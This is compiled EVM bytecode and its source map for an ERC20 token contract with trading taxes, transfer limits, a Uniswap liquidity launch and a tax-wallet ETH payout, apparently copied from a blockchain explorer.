2565b6013557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6104a36009600a611634565b6104b2906461f313f880611642565b60405190815260200160405180910390a1565b5f6104d13384846108f4565b5060015b92915050565b5f6104e86009600a611634565b6104f7906461f313f880611642565b905090565b6006546040516001600160a01b03909116904780156108fc02915f818181858888f19350505050158015610532573d5f803e3d5ffd5b50565b5f610541848484610a17565b610592843361058d8560405180606001604052806028815260200161179f602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190611073565b6108f4565b5060019392505050565b5f546001600160a01b031633146105c55760405162461bcd60e51b81526004016104319061150b565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b031633146106365760405162461bcd60e51b81526004016104319061150b565b601754600160a01b900460ff16156106905760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610431565b6016546001600160a01b031663f305d71947306106c1816001600160a01b03165f9081526001602052604090205490565b5f806106d45f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af115801561073a573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061075f9190611659565b505060175460165460405163095ea7b360e01b81526001600160a01b0391821660048201525f1960248201529116915063095ea7b3906044016020604051808303815f875af11580156107b4573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107d89190611684565b50601a805461ff0019166101001790556017805460ff60a01b1916600160a01b17905543600755565b5f6104d1338484610a17565b5f546001600160a01b031633146108365760405162461bcd60e51b81526004016104319061150b565b6001600160a01b03811661089b5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610431565b5f80546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a35f80546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383166109565760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610431565b6001600160a01b0382166109b75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610431565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610a7b5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610431565b6001600160a01b038216610add5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610431565b5f8111610b3e5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610431565b5f80546001600160a01b03858116911614801590610b6957505f546001600160a01b03848116911614155b15610f22576007544314610ba8576006546001600160a01b03858116911614610ba057600954600854610b9b916110ab565b610ba4565b600a545b6010555b6001600160a01b0384165f9081526004602052604090205460ff168015610bdd57506016546001600160a01b03848116911614155b8015610c0157506001600160a01b0383165f9081526003602052604090205460ff16155b15610d1557601254821115610c585760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610431565b60135482610c7a856001600160a01b03165f9081526001602052604090205490565b610c8491906116a3565b1115610cd25760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610431565b610cfe6064610cf8600c54600f5411610ced57600854610cf1565b600a545b85906110f3565b906110ab565b600f80549192505f610d0f836116b6565b91905055505b6001600160a01b0383165f9081526004602052604090205460ff16158015610d5557506001600160a01b0383165f9081526003602052604090205460ff16155b15610dd45760135482610d7c856001600160a01b03165f9081526001602052604090205490565b610d8691906116a3565b1115610dd45760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610431565b6001600160a01b0383165f9081526004602052604090205460ff168015610e0457506001600160a01b0384163014155b15610e3957610e2e6064610cf8600d54600f5411610e2457600954610cf1565b600b5485906110f3565b9050610e3947611171565b6001600160a01b0384165f9081526004602052604090205460ff16158015610e7957506001600160a01b0383165f9081526004602052604090205460ff16155b8015610e8e57506001600160a01b0384163014155b15610e9657505f5b305f90815260016020526040902054601a5460ff16158015610ecf57506001600160a01b0384165f9081526004602052604090205460ff165b8015610ee25750601a54610100900460ff165b8015610eef575060145481115b8015610efe5750600e54600f54115b15610f2057610f20610f1b84610f16846015546111ac565b6111ac565b6111c0565b505b8015610f9a57305f90815260016020526040902054610f419082611327565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f919085815260200190565b60405180910390a35b610fd0610fb2601054846110f390919063ffffffff16565b6001600160a01b0386165f9081526001602052604090205490611385565b6001600160a01b0385165f90815260016020526040902055611013610ff58383611385565b6001600160a01b0385165f9081526001602052604090205490611327565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61105c8585611385565b60405190815260200160405180910390a350505050565b5f81848411156110965760405162461bcd60e51b815260040161043191906113f2565b505f6110a284866116ce565b95945050505050565b5f6110ec83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113c6565b9392505050565b5f825f0361110257505f6104d5565b5f61110d8385611642565b90508261111a85836116e1565b146110ec5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610431565b6006546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156111a8573d5f803e3d5ffd5b5050565b5f8183116111ba57826110ec565b50919050565b601a805460ff191660011790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061120057611200611700565b6001600160a01b03928316602091820292909201810191909152601654604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611257573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061127b9190611714565b8160018151811061128e5761128e611700565b6001600160a01b0392831660209182029290920101526016546112b491309116846108f4565b60165460405163791ac94760e01b81526001600160a01b039091169063791ac947906112ec9085905f9086903090429060040161172f565b5f604051808303815f87803b158015611303575f80fd5b505af1158015611315573d5f803e3d5ffd5b5050601a805460ff1916905550505050565b5f8061133383856116a3565b9050838110156110ec5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610431565b5f6110ec83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611073565b5f81836113e65760405162461bcd60e51b815260040161043191906113f2565b505f6110a284866116e1565b5f6020808352835180828501525f5b8181101561141d57858101830151858201604001528201611401565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114610532575f80fd5b5f8060408385031215611462575f80fd5b823561146d8161143d565b946020939093013593505050565b5f805f6060848603121561148d575f80fd5b83356114988161143d565b925060208401356114a88161143d565b929592945050506040919091013590565b5f602082840312156114c9575f80fd5b81356110ec8161143d565b5f80604083850312156114e5575f80fd5b82356114f08161143d565b915060208301356115008161143d565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561158e57815f190482111561157457611574611540565b8085161561158157918102915b93841c9390800290611559565b509250929050565b5f826115a4575060016104d5565b816115b057505f6104d5565b81600181146115c657600281146115d0576115ec565b60019150506104d5565b60ff8411156115e1576115e1611540565b50506001821b6104d5565b5060208310610133831016604e8410600b841016171561160f575081810a6104d5565b6116198383611554565b805f190482111561162c5761162c611540565b029392505050565b5f6110ec60ff841683611596565b80820281158282048414176104d5576104d5611540565b5f805f6060848603121561166b575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215611694575f80fd5b815180151581146110ec575f80fd5b808201808211156104d5576104d5611540565b5f600182016116c7576116c7611540565b5060010190565b818103818111156104d5576104d5611540565b5f826116fb57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b5f60208284031215611724575f80fd5b81516110ec8161143d565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b8181101561177d5784516001600160a01b031683529383019391830191600101611758565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220bb32b66f57b1c64d30b1f08ebbbc2467a162036a443d8ad079661ba9c06bf55c64736f6c63430008150033

Deployed Bytecode Sourcemap

3837:7771:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10970:162;;;;;;;;;;;;;:::i;:::-;;6308:83;;;;;;;;;;-1:-1:-1;6378:5:0;;;;;;;;;;;;-1:-1:-1;;;6378:5:0;;;;6308:83;;;;;;;:::i;:::-;;;;;;;;7141:161;;;;;;;;;;-1:-1:-1;7141:161:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;7141:161:0;1023:187:1;5095:54:0;;;;;;;;;;;;;;;;;;;1361:25:1;;;1349:2;1334:18;5095:54:0;1215:177:1;6585:95:0;;;;;;;;;;;;;:::i;10862:100::-;;;;;;;;;;;;;:::i;7310:313::-;;;;;;;;;;-1:-1:-1;7310:313:0;;;;;:::i;:::-;;:::i;6494:83::-;;;;;;;;;;-1:-1:-1;6494:83:0;;4712:1;2000:36:1;;1988:2;1973:18;6494:83:0;1858:184:1;5207:28:0;;;;;;;;;;-1:-1:-1;5207:28:0;;;;-1:-1:-1;;;;;5207:28:0;;;;;;-1:-1:-1;;;;;2211:32:1;;;2193:51;;2181:2;2166:18;5207:28:0;2047:203:1;6688:119:0;;;;;;;;;;-1:-1:-1;6688:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6781:18:0;6754:7;6781:18;;;:9;:18;;;;;;;6688:119;2668:148;;;;;;;;;;;;;:::i;4898:58::-;;;;;;;;;;;;;;;;11140:428;;;;;;;;;;;;;:::i;2454:79::-;;;;;;;;;;-1:-1:-1;2492:7:0;2519:6;-1:-1:-1;;;;;2519:6:0;2454:79;;4963:58;;;;;;;;;;;;;;;;6399:87;;;;;;;;;;-1:-1:-1;6471:7:0;;;;;;;;;;;;-1:-1:-1;;;6471:7:0;;;;6399:87;;6815:167;;;;;;;;;;-1:-1:-1;6815:167:0;;;;;:::i;:::-;;:::i;5028:60::-;;;;;;;;;;;;;;;;6990:143;;;;;;;;;;-1:-1:-1;6990:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;7098:18:0;;;7071:7;7098:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6990:143;2824:244;;;;;;;;;;-1:-1:-1;2824:244:0;;;;;:::i;:::-;;:::i;4097:43::-;;;;;;;;;;-1:-1:-1;4097:43:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;10970:162;2581:6;;-1:-1:-1;;;;;2581:6:0;289:10;2581:22;2573:67;;;;-1:-1:-1;;;2573:67:0;;;;;;;:::i;:::-;;;;;;;;;4770:13:::1;4712:1;4770:2;:13;:::i;:::-;4755:28;::::0;:12:::1;:28;:::i;:::-;11026:12;:22:::0;4770:13:::1;4712:1;4770:2;:13;:::i;:::-;4755:28;::::0;:12:::1;:28;:::i;:::-;11059:14;:22:::0;11097:27:::1;4770:13;4712:1;4770:2;:13;:::i;:::-;4755:28;::::0;:12:::1;:28;:::i;:::-;11097:27;::::0;1361:25:1;;;1349:2;1334:18;11097:27:0::1;;;;;;;10970:162::o:0;7141:161::-;7216:4;7233:39;289:10;7256:7;7265:6;7233:8;:39::i;:::-;-1:-1:-1;7290:4:0;7141:161;;;;;:::o;6585:95::-;6638:7;4770:13;4712:1;4770:2;:13;:::i;:::-;4755:28;;:12;:28;:::i;:::-;6658:14;;6585:95;:::o;10862:100::-;10911:10;;10903:51;;-1:-1:-1;;;;;10911:10:0;;;;10932:21;10903:51;;;;;10911:10;10903:51;10911:10;10903:51;10932:21;10911:10;10903:51;;;;;;;;;;;;;;;;;;;;;10862:100::o;7310:313::-;7408:4;7425:36;7435:6;7443:9;7454:6;7425:9;:36::i;:::-;7472:121;7481:6;289:10;7503:89;7541:6;7503:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7503:19:0;;;;;;:11;:19;;;;;;;;289:10;7503:33;;;;;;;;;;:37;:89::i;:::-;7472:8;:121::i;:::-;-1:-1:-1;7611:4:0;7310:313;;;;;:::o;2668:148::-;2581:6;;-1:-1:-1;;;;;2581:6:0;289:10;2581:22;2573:67;;;;-1:-1:-1;;;2573:67:0;;;;;;;:::i;:::-;2775:1:::1;2759:6:::0;;2738:40:::1;::::0;-1:-1:-1;;;;;2759:6:0;;::::1;::::0;2738:40:::1;::::0;2775:1;;2738:40:::1;2806:1;2789:19:::0;;-1:-1:-1;;;;;;2789:19:0::1;::::0;;2668:148::o;11140:428::-;2581:6;;-1:-1:-1;;;;;2581:6:0;289:10;2581:22;2573:67;;;;-1:-1:-1;;;2573:67:0;;;;;;;:::i;:::-;11206:11:::1;::::0;-1:-1:-1;;;11206:11:0;::::1;;;11205:12;11197:47;;;::::0;-1:-1:-1;;;11197:47:0;;5151:2:1;11197:47:0::1;::::0;::::1;5133:21:1::0;5190:2;5170:18;;;5163:30;5229:25;5209:18;;;5202:53;5272:18;;11197:47:0::1;4949:347:1::0;11197:47:0::1;11255:15;::::0;-1:-1:-1;;;;;11255:15:0::1;:31;11294:21;11325:4;11331:24;11325:4:::0;-1:-1:-1;;;;;6781:18:0;6754:7;6781:18;;;:9;:18;;;;;;;6688:119;11331:24:::1;11356:1;11358::::0;11360:7:::1;2492::::0;2519:6;-1:-1:-1;;;;;2519:6:0;;2454:79;11360:7:::1;11255:129;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11255:129:0;;;-1:-1:-1;;;;;5660:15:1;;;11255:129:0::1;::::0;::::1;5642:34:1::0;5692:18;;;5685:34;;;;5735:18;;;5728:34;;;;5778:18;;;5771:34;5842:15;;;5821:19;;;5814:44;11368:15:0::1;5874:19:1::0;;;5867:35;5576:19;;11255:129:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11402:13:0::1;::::0;11433:15:::1;::::0;11395:71:::1;::::0;-1:-1:-1;;;11395:71:0;;-1:-1:-1;;;;;11433:15:0;;::::1;11395:71;::::0;::::1;6398:51:1::0;-1:-1:-1;;6465:18:1;;;6458:34;11402:13:0;::::1;::::0;-1:-1:-1;11395:29:0::1;::::0;6371:18:1;;11395:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;11477:11:0::1;:18:::0;;-1:-1:-1;;11477:18:0::1;;;::::0;;11506:11:::1;:18:::0;;-1:-1:-1;;;;11506:18:0::1;-1:-1:-1::0;;;11506:18:0::1;::::0;;11548:12:::1;11535:10;:25:::0;11140:428::o;6815:167::-;6893:4;6910:42;289:10;6934:9;6945:6;6910:9;:42::i;2824:244::-;2581:6;;-1:-1:-1;;;;;2581:6:0;289:10;2581:22;2573:67;;;;-1:-1:-1;;;2573:67:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2913:22:0;::::1;2905:73;;;::::0;-1:-1:-1;;;2905:73:0;;6987:2:1;2905:73:0::1;::::0;::::1;6969:21:1::0;7026:2;7006:18;;;6999:30;7065:34;7045:18;;;7038:62;-1:-1:-1;;;7116:18:1;;;7109:36;7162:19;;2905:73:0::1;6785:402:1::0;2905:73:0::1;3015:6;::::0;;2994:38:::1;::::0;-1:-1:-1;;;;;2994:38:0;;::::1;::::0;3015:6;::::1;::::0;2994:38:::1;::::0;::::1;3043:6;:17:::0;;-1:-1:-1;;;;;;3043:17:0::1;-1:-1:-1::0;;;;;3043:17:0;;;::::1;::::0;;;::::1;::::0;;2824:244::o;7631:335::-;-1:-1:-1;;;;;7724:19:0;;7716:68;;;;-1:-1:-1;;;7716:68:0;;7394:2:1;7716:68:0;;;7376:21:1;7433:2;7413:18;;;7406:30;7472:34;7452:18;;;7445:62;-1:-1:-1;;;7523:18:1;;;7516:34;7567:19;;7716:68:0;7192:400:1;7716:68:0;-1:-1:-1;;;;;7803:21:0;;7795:68;;;;-1:-1:-1;;;7795:68:0;;7799:2:1;7795:68:0;;;7781:21:1;7838:2;7818:18;;;7811:30;7877:34;7857:18;;;7850:62;-1:-1:-1;;;7928:18:1;;;7921:32;7970:19;;7795:68:0;7597:398:1;7795:68:0;-1:-1:-1;;;;;7874:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7926:32;;1361:25:1;;;7926:32:0;;1334:18:1;7926:32:0;;;;;;;7631:335;;;:::o;7974:2181::-;-1:-1:-1;;;;;8062:18:0;;8054:68;;;;-1:-1:-1;;;8054:68:0;;8202:2:1;8054:68:0;;;8184:21:1;8241:2;8221:18;;;8214:30;8280:34;8260:18;;;8253:62;-1:-1:-1;;;8331:18:1;;;8324:35;8376:19;;8054:68:0;8000:401:1;8054:68:0;-1:-1:-1;;;;;8141:16:0;;8133:64;;;;-1:-1:-1;;;8133:64:0;;8608:2:1;8133:64:0;;;8590:21:1;8647:2;8627:18;;;8620:30;8686:34;8666:18;;;8659:62;-1:-1:-1;;;8737:18:1;;;8730:33;8780:19;;8133:64:0;8406:399:1;8133:64:0;8225:1;8216:6;:10;8208:64;;;;-1:-1:-1;;;8208:64:0;;9012:2:1;8208:64:0;;;8994:21:1;9051:2;9031:18;;;9024:30;9090:34;9070:18;;;9063:62;-1:-1:-1;;;9141:18:1;;;9134:39;9190:19;;8208:64:0;8810:405:1;8208:64:0;8283:17;2519:6;;-1:-1:-1;;;;;8319:15:0;;;2519:6;;8319:15;;;;:32;;-1:-1:-1;2492:7:0;2519:6;-1:-1:-1;;;;;8338:13:0;;;2519:6;;8338:13;;8319:32;8315:1469;;;8387:10;;8371:12;8368:135;;;8440:10;;-1:-1:-1;;;;;8432:18:0;;;8440:10;;8432:18;:71;;8487:15;;8468:14;;:35;;:18;:35::i;:::-;8432:71;;;8453:12;;8432:71;8420:9;:83;8368:135;-1:-1:-1;;;;;8524:16:0;;;;;;:10;:16;;;;;;;;:50;;;;-1:-1:-1;8558:15:0;;-1:-1:-1;;;;;8544:30:0;;;8558:15;;8544:30;;8524:50;:67;;;;-1:-1:-1;;;;;;8580:11:0;;;;;;:7;:11;;;;;;;;8578:13;8524:67;8520:407;;;8631:12;;8621:6;:22;;8613:60;;;;-1:-1:-1;;;8613:60:0;;9422:2:1;8613:60:0;;;9404:21:1;9461:2;9441:18;;;9434:30;9500:27;9480:18;;;9473:55;9545:18;;8613:60:0;9220:349:1;8613:60:0;8726:14;;8716:6;8700:13;8710:2;-1:-1:-1;;;;;6781:18:0;6754:7;6781:18;;;:9;:18;;;;;;;6688:119;8700:13;:22;;;;:::i;:::-;:40;;8692:79;;;;-1:-1:-1;;;8692:79:0;;9906:2:1;8692:79:0;;;9888:21:1;9945:2;9925:18;;;9918:30;9984:28;9964:18;;;9957:56;10030:18;;8692:79:0;9704:350:1;8692:79:0;8802;8877:3;8802:70;8825:15;;8814:9;;:26;8813:58;;8857:14;;8813:58;;;8843:12;;8813:58;8802:6;;:10;:70::i;:::-;:74;;:79::i;:::-;8900:9;:11;;8790:91;;-1:-1:-1;8900:9:0;:11;;;:::i;:::-;;;;;;8520:407;-1:-1:-1;;;;;8948:14:0;;;;;;:10;:14;;;;;;;;8947:15;:32;;;;-1:-1:-1;;;;;;8968:11:0;;;;;;:7;:11;;;;;;;;8966:13;8947:32;8943:152;;;9034:14;;9024:6;9008:13;9018:2;-1:-1:-1;;;;;6781:18:0;6754:7;6781:18;;;:9;:18;;;;;;;6688:119;9008:13;:22;;;;:::i;:::-;:40;;9000:79;;;;-1:-1:-1;;;9000:79:0;;9906:2:1;9000:79:0;;;9888:21:1;9945:2;9925:18;;;9918:30;9984:28;9964:18;;;9957:56;10030:18;;9000:79:0;9704:350:1;9000:79:0;-1:-1:-1;;;;;9114:14:0;;;;;;:10;:14;;;;;;;;:38;;;;-1:-1:-1;;;;;;9132:20:0;;9147:4;9132:20;;9114:38;9111:226;;;9185:82;9263:3;9185:73;9208:16;;9197:9;;:27;9196:61;;9242:15;;9196:61;;;9227:13;;9185:6;;:10;:73::i;:82::-;9173:94;;9286:35;9299:21;9286:12;:35::i;:::-;-1:-1:-1;;;;;9355:16:0;;;;;;:10;:16;;;;;;;;9354:17;:36;;;;-1:-1:-1;;;;;;9376:14:0;;;;;;:10;:14;;;;;;;;9375:15;9354:36;:60;;;;-1:-1:-1;;;;;;9394:20:0;;9409:4;9394:20;;9354:60;9350:115;;;-1:-1:-1;9448:1:0;9350:115;9530:4;9481:28;6781:18;;;:9;:18;;;;;;9556:6;;;;9555:7;:25;;;;-1:-1:-1;;;;;;9566:14:0;;;;;;:10;:14;;;;;;;;9555:25;:40;;;;-1:-1:-1;9584:11:0;;;;;;;9555:40;:82;;;;;9620:17;;9599:20;:38;9555:82;:114;;;;;9651:18;;9641:9;;:28;9555:114;9551:222;;;9690:67;9707:49;9711:6;9718:37;9722:20;9743:11;;9718:3;:37::i;:::-;9707:3;:49::i;:::-;9690:16;:67::i;:::-;8353:1431;8315:1469;9799:11;;9796:161;;9867:4;9849:24;;;;:9;:24;;;;;;:39;;9878:9;9849:28;:39::i;:::-;9842:4;9824:24;;;;:9;:24;;;;;;;:64;;;;9906:39;;-1:-1:-1;;;;;9906:39:0;;;;;;;9935:9;1361:25:1;;1349:2;1334:18;;1215:177;9906:39:0;;;;;;;;9796:161;9983:42;10003:21;10014:9;;10003:6;:10;;:21;;;;:::i;:::-;-1:-1:-1;;;;;9983:15:0;;;;;;:9;:15;;;;;;;:19;:42::i;:::-;-1:-1:-1;;;;;9967:15:0;;;;;;:9;:15;;;;;:58;10050:40;10068:21;:6;10079:9;10068:10;:21::i;:::-;-1:-1:-1;;;;;10050:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;10036:13:0;;;;;;;:9;:13;;;;;:54;;;;10106:41;;;10125:21;:6;10136:9;10125:10;:21::i;:::-;10106:41;;1361:25:1;;;1349:2;1334:18;10106:41:0;;;;;;;8043:2112;7974:2181;;;:::o;1346:190::-;1432:7;1468:12;1460:6;;;;1452:29;;;;-1:-1:-1;;;1452:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1492:9:0;1504:5;1508:1;1504;:5;:::i;:::-;1492:17;1346:190;-1:-1:-1;;;;;1346:190:0:o;1798:132::-;1856:7;1883:39;1887:1;1890;1883:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;1876:46;1798:132;-1:-1:-1;;;1798:132:0:o;1544:246::-;1602:7;1626:1;1631;1626:6;1622:47;;-1:-1:-1;1656:1:0;1649:8;;1622:47;1679:9;1691:5;1695:1;1691;:5;:::i;:::-;1679:17;-1:-1:-1;1724:1:0;1715:5;1719:1;1679:17;1715:5;:::i;:::-;:10;1707:56;;;;-1:-1:-1;;;1707:56:0;;10756:2:1;1707:56:0;;;10738:21:1;10795:2;10775:18;;;10768:30;10834:34;10814:18;;;10807:62;-1:-1:-1;;;10885:18:1;;;10878:31;10926:19;;1707:56:0;10554:397:1;10762:92:0;10819:10;;:27;;-1:-1:-1;;;;;10819:10:0;;;;:27;;;;;10839:6;;10819:10;:27;:10;:27;10839:6;10819:10;:27;;;;;;;;;;;;;;;;;;;;;10762:92;:::o;10165:98::-;10222:7;10249:1;10247;:3;10246:9;;10254:1;10246:9;;;-1:-1:-1;10252:1:0;10165:98;-1:-1:-1;10165:98:0:o;10271:483::-;5512:6;:13;;-1:-1:-1;;5512:13:0;5521:4;5512:13;;;10373:16:::1;::::0;;10387:1:::1;10373:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10373:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10373:16:0::1;10349:40;;10418:4;10400;10405:1;10400:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10400:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10444:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10444:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10400:7;;10444:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10434:4;10439:1;10434:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10434:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10509:15:::1;::::0;10477:62:::1;::::0;10494:4:::1;::::0;10509:15:::1;10527:11:::0;10477:8:::1;:62::i;:::-;10550:15;::::0;:196:::1;::::0;-1:-1:-1;;;10550:196:0;;-1:-1:-1;;;;;10550:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;10631:11;;10550:15:::1;::::0;10673:4;;10700::::1;::::0;10720:15:::1;::::0;10550:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5548:6:0;:14;;-1:-1:-1;;5548:14:0;;;-1:-1:-1;;;;10271:483:0:o;1015:179::-;1073:7;;1105:5;1109:1;1105;:5;:::i;:::-;1093:17;;1134:1;1129;:6;;1121:46;;;;-1:-1:-1;;;1121:46:0;;12663:2:1;1121:46:0;;;12645:21:1;12702:2;12682:18;;;12675:30;12741:29;12721:18;;;12714:57;12788:18;;1121:46:0;12461:351:1;1202:136:0;1260:7;1287:43;1291:1;1294;1287:43;;;;;;;;;;;;;;;;;:3;:43::i;1938:189::-;2024:7;2059:12;2052:5;2044:28;;;;-1:-1:-1;;;2044:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2083:9:0;2095:5;2099:1;2095;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2255:247::-;2314:6;2367:2;2355:9;2346:7;2342:23;2338:32;2335:52;;;2383:1;2380;2373:12;2335:52;2422:9;2409:23;2441:31;2466:5;2441:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:356::-;3102:2;3084:21;;;3121:18;;;3114:30;3180:34;3175:2;3160:18;;3153:62;3247:2;3232:18;;2900:356::o;3261:127::-;3322:10;3317:3;3313:20;3310:1;3303:31;3353:4;3350:1;3343:15;3377:4;3374:1;3367:15;3393:422;3482:1;3525:5;3482:1;3539:270;3560:7;3550:8;3547:21;3539:270;;;3619:4;3615:1;3611:6;3607:17;3601:4;3598:27;3595:53;;;3628:18;;:::i;:::-;3678:7;3668:8;3664:22;3661:55;;;3698:16;;;;3661:55;3777:22;;;;3737:15;;;;3539:270;;;3543:3;3393:422;;;;;:::o;3820:806::-;3869:5;3899:8;3889:80;;-1:-1:-1;3940:1:1;3954:5;;3889:80;3988:4;3978:76;;-1:-1:-1;4025:1:1;4039:5;;3978:76;4070:4;4088:1;4083:59;;;;4156:1;4151:130;;;;4063:218;;4083:59;4113:1;4104:10;;4127:5;;;4151:130;4188:3;4178:8;4175:17;4172:43;;;4195:18;;:::i;:::-;-1:-1:-1;;4251:1:1;4237:16;;4266:5;;4063:218;;4365:2;4355:8;4352:16;4346:3;4340:4;4337:13;4333:36;4327:2;4317:8;4314:16;4309:2;4303:4;4300:12;4296:35;4293:77;4290:159;;;-1:-1:-1;4402:19:1;;;4434:5;;4290:159;4481:34;4506:8;4500:4;4481:34;:::i;:::-;4551:6;4547:1;4543:6;4539:19;4530:7;4527:32;4524:58;;;4562:18;;:::i;